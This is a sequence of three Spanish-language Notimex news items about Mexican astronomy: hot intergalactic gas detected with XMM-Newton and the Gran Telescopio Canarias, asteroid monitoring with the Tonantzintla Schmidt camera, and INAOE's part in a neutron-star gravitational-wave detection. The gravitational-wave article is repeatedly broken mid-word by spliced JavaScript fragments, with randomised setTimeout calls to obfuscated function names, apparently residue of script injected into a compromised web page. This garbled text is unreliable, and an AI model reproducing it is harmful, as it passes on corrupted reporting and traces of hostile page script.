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Detectan científicos gas caliente y difuso que permea el cosmos

21 junio, 2018

México. A través del observatorio espacial de la Agencia Espacial Europea XMM-Newton y del Gran Telescopio Canarias, un grupo internacional de astrónomos reportaron evidencia del gas caliente y difuso en el cosmos, sumando el conocimiento sobre la materia “normal” en el Universo.

En el grupo de científicos participan investigadores del Instituto de Astronomía de la Universidad Nacional Autónoma de México (UNAM) y del Instituto Nacional de Astrofísica, Óptica y Electrónica (INAOE), institución que dio a conocer estos resultados a través de un comunicado.

Observando en la banda del espectro electromagnético, los expertos reportaron que detectaron gas con temperaturas de alrededor de un millón de grados.

En el comunicado, el INAOE precisó que la materia y energía oscuras representan 25 y 70 por ciento del Universo, respectivamente, mientras que la materia “normal” como galaxias, estrellas y planetas, únicamente conforma un cinco por ciento.

La cantidad total de materia normal, a la que los astrónomos se refieren como bariones, puede ser estimada a través de observaciones de la Radiación Cósmica de Fondo, que es la luz más antigua en la historia del Universo, cuando sólo habían pasado 380 mil años después de la Gran Explosión (Big Bang).

En el grupo de astrónomos participan Yair Krongold, de la UNAM, así como Daniel Rosa González y Divakara Mayya, del INAOE. Los resultados de este trabajo se publicarán en la revista “Nature”.

Para este hallazgo usaron el Telescopio XMM-Newton para ver un cuásar, una galaxia masiva con un agujero negro supermasivo en su centro comiendo materia y brillando intensamente en rayos-X. Observaron este cuásar, cuya luz tarda más de cuatro mil millones de años en llegar a la Tierra, por un total de 18 días, entre 2015 y 2017.

Después de analizar los datos, los astrónomos consiguieron encontrar la “sombra” de oxígeno producida por el gas intergaláctico y el cuásar, en dos lugares diferentes a lo largo de nuestra línea de visión.

Esto fue posible porque en el medio intergaláctico hay una gran cantidad de material, incluido oxígeno en grandes cantidades. Sin embargo, los astrónomos aún tenían que estar seguros de que el material que habían detectado en rayos-X se encontraba en un filamento de la materia cósmica.

Para determinar esto, utilizaron datos en la banda óptica del espectro electromagnético, obtenidos con el Gran Telescopio Canarias. Después de analizar este conjunto de datos usando un software desarrollado en el INAOE, estudiaron la presencia de objetos cósmicos en nuestra línea de visión al cuásar.

Los datos del Gran Telescopio Canarias mostraron agrupaciones de galaxias exactamente en el mismo lugar en el que se detectó el gas caliente.

Fuente: Notimex


Monitoreo de asteroides cercanos a la Tierra, misión de la Cámara Schmidt de Puebla

13 junio, 2018

Puebla. Monitorear asteroides cercanos a la Tierra y determinar sus propiedades físicas y orbitales, es uno de los nuevos proyectos que se desarrollan mediante la Cámara Schmidt de Tonantzintla, ubicada en las instalaciones del Instituto Nacional de Astrofísica, Óptica y Electrónica (Inaoe).

A 76 años de haber iniciado operaciones, este histórico telescopio aporta datos muy útiles para la astrofísica moderna, destacó en un comunicado éste centro de investigación.

El Inaoe informó que las actuales observaciones con la Cámara Schmidt contribuyen al conocimiento de las propiedades físicas tanto de los asteroides del cinturón principal como de los cercanos a la Tierra (NEOs, por sus siglas en inglés).

“Se están produciendo curvas de luz para analizar cómo cambia el brillo de un asteroide en función del periodo de rotación”, apuntó.

El coordinador de Astrofísica del Inaoe y uno de los investigadores responsables de los nuevos proyectos con la Cámara Schmidt de Tonantzintla, José Ramón Valdés, reveló que en los últimos tres meses ésta ha estado dedicada a la observación de asteroides del cinturón principal y de asteroides cercanos a la Tierra.

Informó que la renovación más reciente de la Schmidt incluye nuevos motores en el eje de ascensión recta y en el de declinación, que son las coordenadas para localizar los objetos en el cielo.

Asimismo, se desarrolló un nuevo sistema de control, el cual es una adaptación del que elaboró el físico Sergio Noriega para el OAGH.

El doctor Valdés explicó que los asteroides son residuos de la fallida formación de un planeta en nuestro sistema solar.

“Son objetos rocosos y, a diferencia de los cometas, no tienen un contenido tan importante de gas y polvo. Se ubican, fundamentalmente, en el cinturón principal de asteroides, entre las órbitas de Marte y Júpiter. Los planetas en el sistema solar se formaron por aglutinación de pequeños fragmentos que fueron chocando a baja velocidad y fueron creciendo en tamaño”, detalló.

Abundó que al formarse Júpiter, que es un planeta muy masivo, su gravedad impidió que ocurriera este proceso de aglutinación y se formara otro planeta entre las órbitas de Marte y Júpiter. Todo el material que debió formar parte de ese planeta es el que está en el cinturón de asteroides.

El investigador aseveró que es muy importante determinar las propiedades físicas de estos objetos –tamaño, forma, inclinación del eje de rotación y composición mineralógica—por dos cuestiones fundamentales.

Primero, para probar que la tecnología actual de deflexión de los asteroides puede funcionar, lo que significa preparar una misión para modificar su velocidad orbital; y en segundo lugar, para elaborar planes efectivos de evacuación y mitigación de daños en caso de que el choque de un asteroide con nuestro planeta no se pudiera evitar.

“El peligro real lo tendremos cuando haya coincidencia espacial y temporal entre la órbita de un asteroide y la de la Tierra. Si un asteroide entra en una órbita de colisión con la Tierra, no lo vamos a destruir porque en lugar de tener un problema, tendríamos muchos. Por eso se hacen los primeros intentos de modificar la velocidad orbital de asteroides a través de un impacto cinético”, citó.

“Si le damos un impulso en la misma dirección del movimiento orbital aumentaremos la velocidad orbital, el asteroide pasará primero y luego la Tierra y evitaremos el choque. Si el impulso se lo damos en la dirección contraria al movimiento orbital frenaremos el asteroide, pasando primero la Tierra y luego el objeto”, apuntó.

Por otra parte, en el caso de que el asteroide sea más grande o que se mueva muy rápido y que tengamos poco tiempo para intentar su deflexión, o que ésta funcione sólo parcialmente, el encuentro con la Tierra sería inminente, y para elaborar planes de evacuación y de mitigación de daños, también “necesitamos conocer las propiedades física del asteroide, porque podremos modelar el choque y conocer los daños que puede ocasionar”, subrayó.

“Para nosotros es una gran satisfacción utilizar hoy en día este telescopio histórico en observaciones astronómicas profesionales, es un pequeño homenaje a todos aquellos que hicieron posible que lo tuviéramos en Tonantzintla”, concluyó José Ramón Valdés.

Fuente: Notimex


Astrofísicos mexicanos participaron en detección de onda gravitacional

16 octubre, 2017

Puebla. Un equipo internacional de astrofísicos, en el cual participan mexicanos, detectó una onda gravitacional reportada con anterioridad por los observatorios LIGO y Virgo, informó el Instituto Nacional de Astrofísica, Óptica y Electrónica (INAOE).

Indicó que los especialistas reportaron esta detección en un artículo publicado hoy en la revista “Astrophysical Journal Letters”, por lo que se sigue confirmandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o la existencia de las ondas gravitacionales predichas por Albert Einstein en la teoría de la relatividad general hace más de cien años.

El INAOE en un comunicado subrayó que el tema es tan relevante, que hace apenas unos días la Real Academia de las Ciencias de Suecia otorgó el Premio Nobel de Física a Rainer Weiss, Barry C. Barish y Kip S. Thorne por la detección de las primeras ondas gravitacionales en 2015.

Omar López-Cruz, investigador del Instituto Nacional de Astrofísica, Óptica y Electrónica (INAOE) y uno de los participantes en la detección de onda gravitacional reportada en la citada revista, comentó que los astrónomos se enfrentan a diversos problemas para detectar una onda gravitacional.

“Los instrumentos y sistemas que se tienen son tan sensibles que tan sólo caminandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o puedes perturbarlos. Se trata de detectores que son interferómetros. Si una onda deforma el espacio-tiempo, el desplazamiento que pueden detectar es más pequeño que un átomo”, destacó.

El especialista del INAOE dijo que entre los más fuertes candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idatos de objetos que pueden producir en el Universo ondas gravitacionales están las estrellas de neutrones.

“En las estrellas de neutrones todo está tan comprimido que lo único que soporta el material es la presión de los neutrones, no son agujeros negros pero son objetos muy compactos. Cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o estas estrellas se fusionan emiten luz -rayos gamma, rayos X, ultravioleta, óptico, hasta radio-, y esto es lo que estaban esperandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o detectar desde un principio”, detalló.

López-Cruz mencionó que después de cuatro eventos en los que no se vio nada, se combinaron LIGO y Virgo, y en agosto empezaron a ver y detectaron un evento, ubicaron la región del cielo y pudieron ver que la onda gravitacional provenía de una estrella de neutrones.

Subrayó que a raíz de esta detección, diversos telescopios (algunos en el planeta y otros en órbita) trabajaron en distintas longitudes de onda, también detectaron el evento.

Uno de los equipos que participó en esta colaboración internacional fue el integrado por Omar López Cruz; Emmanuel Ríos López, estudiante de doctorado del INAOE; además de Vahram Chavussyan, investigador de este instituto, y Deborah Dultzin, investigadora del Instituto de Astronomía de la UNAM, y liderado por Mario Díaz, de la Universidad de Texas en Brownsville.

Añadió que este último forma parte de una colaboración directamente relacionada con LIGO para la detección de ondas gravitacionales en la parte óptica.

“Metimos una solicitud al Gran Telescopio Canarias y nos dieron dos horas para observar a la hora que fuera, esto se llama target of opportunity. En agosto salió el mensaje del evento y no alcanzamos a verlo porque estaba muy al sur y las condiciones no fueron propicias para observarlo desde el hemisferio norte”, anotó.

“Pero desde el sur sí observaron, juntaron los datos y por haber colaborado fue que entraron al artículo del descubrimiento”, añadió.

Explicó que las ondas gravitacionales, son una vibración en el espacio-tiempo, en el momento de la creación del Universo se generaron estas, también cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o dos agujeros negros se fusionan producen una onda gravitacional.

“Einstein predijo las ondas gravitacionales, y detectarlas era una de las pruebas más difíciles de su teoría. Si no se detectaban iba a haber problemas. Pero su teoría es maravillosa, ha pasado todas las pruebas que le han puesto, y esto era lo que faltaba”, expresó.

El documento señala que las ondas gravitacionales son producidas por eventos muy violentos en el Universo como la fusión de agujeros negros, que produce tal cantidad de energía que le da una “cachetada” al espacio-tiempo, y esto es así porque es muy rígido y se necesita mucha energía para producir esto.

Además hay otros eventos que pueden producir ondas gravitacionales, y en estos las estrellas de neutrones emiten ondas gravitacionales al fusionarse, este tipo de eventos se llaman kilonovas.

Resaltó que estas nuevas observaciones posibilitan el análisis y afinación de los modelos teóricos que predicen cómo se forman las ondas gravitacionales.

“Estamos viendo el Universo en una fase que jamás habíamos explorado, esto es lo más grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ioso, que cien años después de que Einstein publicara su teoría general venga esta confirmación”, precisó.

El investigador del INAOE indicó que a partir de aquí no saben qué pasará, porque hay otros fenómenos que no han catalogado y que ahora podrán clasificar de esta forma, lo que también significa un cambio de currículo para los astrofísicos.

“Le hemos dado poco énfasis a la relatividad general porque los efectos son difíciles de observar, la teoría es muy bella pero complicada y trabajar con ella implica meterse con matemáticas muy avanzadas, pero ya no podemos escapar a ella”, sentenció.

Los astrofísicos de este siglo deben saber relatividad general, esto es la nueva astronomía del siglo XXI es distinta, es revolucionario y emocionante, puntualizó.

Fuente: Notimex